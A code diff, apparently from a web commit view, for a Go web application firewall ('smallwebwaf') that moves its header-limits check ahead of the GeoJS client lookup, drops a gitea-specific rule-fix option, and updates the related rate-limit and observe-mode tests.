lines[0].RuleIDs, lines[0].Counts, lines[0].DurationCoreRuleSetMS)
}
// The request within the limits shows that each check leaves its mark.
wantTags(t, lines[1],
"asn=64496", "country=DE", "dnsbl="+dnsblZone, "exploitsignature", "vpn")
wantTagsMissing(t, lines[1], "no_answer_yet")
if lines[1].RuleIDs == nil || lines[1].Counts.Minute != 1 ||
lines[1].DurationCoreRuleSetMS == nil {
t.Errorf("rule ids %v, counts %+v and Core Rule Set time %v, want each",
lines[1].RuleIDs, lines[1].Counts, lines[1].DurationCoreRuleSetMS)
}
}
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
t.Parallel()
// The client's next request takes it over the whole limit, so it does
// not wait.
geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
unknownLimitPercent: "0", lookupTimeout: "1h",
unknownLimitPercent: "0", lookupTimeout: "1h", rateLimitPerMinute: "1",
})
req := s.question(siteA, fromDE, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
countClient(t, s.server, s.clock.Now())
wantDisposition(t, do(t, req), tooLarge, waf.DispositionDeny)
wantDisposition(t, s.ask(fromDE, "/"), http.StatusForbidden, waf.DispositionDeny)
line := s.out.requestLine(t)
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.RateLimitPercent != nil {
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
}
// The client is under no ban, and GeoJS places it in a country.
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, waf.DispositionAllow)
}
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
t.Parallel()
// The client's next request takes it over the whole limit, so it does
// not wait.
geojsURL, _ := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
s := startWAF(t, geojsURL, map[string]string{
unknownLimitPercent: "0", rateLimitPerMinute: "1",
})
s.server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
Answered: s.clock.Now(), Used: s.clock.Now(),
}})
countClient(t, s.server, s.clock.Now())
req := s.question(siteA, client, "/")
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
wantDisposition(t, s.ask(client, "/"), http.StatusForbidden, waf.DispositionDeny)
wantDisposition(t, do(t, req), http.StatusForbidden, waf.DispositionDeny)
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
line := s.out.requestLine(t)
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.RateLimitPercent == nil || *line.RateLimitPercent != 0 {
t.Errorf("limit percentage %v, want 0", line.RateLimitPercent)
}
}
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
func TestObserveModeAsksGeoJSNothingForARequestOverTheHeaderLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
geojsURL, asked := startGeoJS(t)
s := startWAF(t, geojsURL, map[string]string{
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
})
@@ -312,10 +420,9 @@ func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
got := do(t, req)
wantDisposition(t, got, http.StatusOK, waf.DispositionAllow)
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
if asn != asnDE || country != "DE" {
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
asn, country, asnDE)
if len(asked()) != 0 || got.header.Get("X-Client-Asn") != "" {
t.Errorf("GeoJS was asked about %v, and the answer gave the AS number %q, "+
"want neither", asked(), got.header.Get("X-Client-Asn"))
}
}
-23
View File
@@ -12,7 +12,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
@@ -22,7 +21,6 @@ const (
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
apps = "SWW_APPS"
block = "block"
detect = "detect"
)
@@ -292,27 +290,6 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
}
}
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
t.Parallel()
// Only gitea's fixes let a file name through in path, a parameter
// gitea sends file names in.
const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
http.StatusOK, waf.DispositionAllow)
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
http.StatusForbidden, waf.DispositionDeny)
lines := s.out.requestLines(t, 2)
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
}
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
t.Parallel()
+6 -12
View File
@@ -10,22 +10,23 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The header limits: the most cookies and header fields a request may have
// when the checks reach the Core Rule Set. Real clients never reach them.
// The header limits: the most cookies and header fields a request may have.
// Real clients never reach them.
const (
maxCookies = 50
maxHeaderFields = 100
)
// headerLimits refuses a request over the header limits, with 431. Its figures
// are the request's header fields and cookies, and the limit of each.
// headerLimits refuses a request with more than maxHeaderFields header fields
// or more than maxCookies cookies, with 431. Its figures are the request's
// header fields and cookies, and the limit of each.
type headerLimits struct{}
func (headerLimits) name() string { return "header_limits" }
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
fields, cookies := rq.headerCounts()
if !overHeaderLimits(fields, cookies) {
if fields <= maxHeaderFields && cookies <= maxCookies {
return nil
}
@@ -38,13 +39,6 @@ func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict
}
}
// overHeaderLimits reports whether a request with these counts of header fields
// and cookies, as headerCounts counts them, is over the header limits: it has
// more than maxHeaderFields fields or more than maxCookies cookies.
func overHeaderLimits(fields, cookies int) bool {
return fields > maxHeaderFields || cookies > maxCookies
}
// headerCounts returns the request's header fields, each value of a header sent
// twice being one, and its cookies, each part of a Cookie header between
// semicolons being one unless it is empty or only spaces and tabs. The Core
+3 -1
View File
@@ -41,8 +41,11 @@ const (
// beforeLookup are the heuristics that run before the client's AS number and
// country are looked up, so that a client they refuse is not looked up.
// header_limits comes first: it only counts, and a request it refuses causes no
// other work.
func beforeLookup() []heuristic {
return []heuristic{
headerLimits{},
tagLists{},
routeWatchTags{},
denyNets{},
@@ -64,7 +67,6 @@ func afterLookup() []heuristic {
rateLimits{},
trapPaths{},
ruleFiles{},
headerLimits{},
coreRuleSet{},
tagDeny{},
}
+1 -3
View File
@@ -221,8 +221,7 @@ func newReputation(
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
// or nil while SWW_WAF_MODE is off. It
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
@@ -237,7 +236,6 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
Apps: cfg.Apps,
})
if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
+8 -10
View File
@@ -143,10 +143,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
// refusedWhateverTheAnswer reports whether the request is one that does not wait
// for GeoJS, since the checks will refuse it at now whatever GeoJS answers about
// its client: the heuristic crowdsec, header_limits, blocklists or rate_limits
// will refuse it, as a function in that heuristic's file says. In observe mode,
// which refuses nothing, none is. rproxy lets a request through when
// waf answers too late.
// its client: the heuristic crowdsec, blocklists or rate_limits will refuse it,
// as a function in that heuristic's file says. In observe mode, which refuses
// nothing, none is. rproxy lets a request through when waf answers too late.
func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
if rq.h.config.Observe {
return false
@@ -154,8 +153,7 @@ func (rq *request) refusedWhateverTheAnswer(now time.Time) bool {
_, decided := rq.crowdSecDecisionInForce(now)
return decided || overHeaderLimits(rq.headerCounts()) ||
rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
return decided || rq.refusedByBlocklists(rq.h.lists.ListedBy(rq.client)) ||
rq.overAWholeRateLimit(now)
}
@@ -215,10 +213,10 @@ func (h *handler) answerQuestion(w http.ResponseWriter, r *http.Request) {
// readQuestion returns the visitor's address and the body a question carries,
// and whether waf takes the question. It answers a question it does not
// take with 400 and no disposition, which rproxy treats as it treats no
// answer. The id of a question it takes is held from here on, without a
// decision yet, so that another question with that id is refused while this
// one is being handled.
// take with 400 and no disposition. rproxy passes that 400 to the visitor,
// and SWRP_DEFAULT_DISPOSITION does not apply. The id of a question waf takes
// is held from here on, without a decision yet, so that another question with
// that id is refused while this one is being handled.
//
// The body is read before any check, since Go's server does not send an answer
// until it has read the body. A question whose body stops arriving gets no